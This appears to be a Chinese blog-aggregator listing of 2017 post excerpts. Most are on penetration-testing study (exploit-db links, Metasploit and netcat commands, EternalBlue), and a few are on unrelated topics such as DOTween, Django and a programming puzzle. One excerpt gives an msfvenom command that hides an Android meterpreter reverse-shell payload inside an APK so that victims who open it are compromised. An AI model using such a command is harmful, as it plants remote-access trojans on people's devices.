相关资料：https://www.exploit-db.com/exploits/11615/ 目的是为了了解漏洞执行的流程。 根据资料准备服务端环境： 用一台win7当做是服务器，需要在win7上共享一个文件夹用于客户端访问。我的测试环境共享的文件夹是www。 (1)启用Guest来宾账户，共享文 ...
http://cisps.org/bbs/viewtopic.php?f=71&t=26125 标题为Web安全学习计划，实属我的愿望：将下面这份Web学习清单完善成为一个Web安全，学习计划指导性帖子。 说明：本来打算给自己设计一个详细的学习计划，但是发现这些学习内容罗列出来后，发现这是个很庞大的 ...
分类：
Web程序 时间：
2017-07-02 11:40:19
阅读次数：
171
service apache2 start service postgresql start msfconsole启动 1.MSF终端命令 show exploit 列出metasploit框架中的所有渗透攻击模块。 show payloads 列出metasploit框架中的所有攻击载荷。 sho ...
分类：
Web程序 时间：
2017-06-24 11:58:09
阅读次数：
383
涉及的kill及复用的行为比较奇怪。 使用shortcut方式调用dotween时，每次调用都是增加一个新的tweener，如果该tweener控制的属性与上次调用相同时，会出现奇怪的行为，应该是多个tweener同时起作用了。 shortcut的方式无法kill，必须保留tweenr的引用，使用t ...
分类：
其他好文 时间：
2017-06-24 09:50:34
阅读次数：
232
功能说明：强大的网络工具 语 法：nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...] 参 数： -g<网关> 设置路由器跃程通信网关，最多 ...
分类：
Web程序 时间：
2017-06-15 10:42:31
阅读次数：
325
Python的WEB框架有Django、Tornado、Flask 等多种，Django相较与其他WEB框架其优势为：大而全，框架本身集成了ORM、模型绑定、模板引擎、缓存、Session等诸多功能。 安装Django 1，创建Django项目 2，配置信息 2.1 数据库配置文件 2.2 应用配置 ...
分类：
其他好文 时间：
2017-06-14 23:30:10
阅读次数：
350
测试平台：CentOS7.2 编译工具GCC POC地址：https://www.exploit-db.com/exploits/40611/ EXP地址：https://www.exploit-db.com/exploits/40616/ POC地址：https://www.exploit-db. ...
分类：
其他好文 时间：
2017-06-13 10:12:46
阅读次数：
337
命令：msfvenom -x /路径/apk -p android/meterpreter/reverse_tcp LHOST=ip LPORT=端口 只要别人一打开这个被注入payload后的软件就可以获得meterpreter 当然你要启动msfconsole监听 msfconsole hale ...
分类：
其他好文 时间：
2017-06-11 21:11:01
阅读次数：
305
参考： https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue ...
P1412 经营与开发 P1412 经营与开发 P1412 经营与开发 题目描述 4X概念体系，是指在PC战略游戏中一种相当普及和成熟的系统概念，得名自4个同样以“EX”为开头的英语单词。 eXplore（探索） eXpand（拓张与发展） eXploit（经营与开发） eXterminate（征服 ...
分类：
其他好文 时间：
2017-06-07 22:29:39
阅读次数：
221
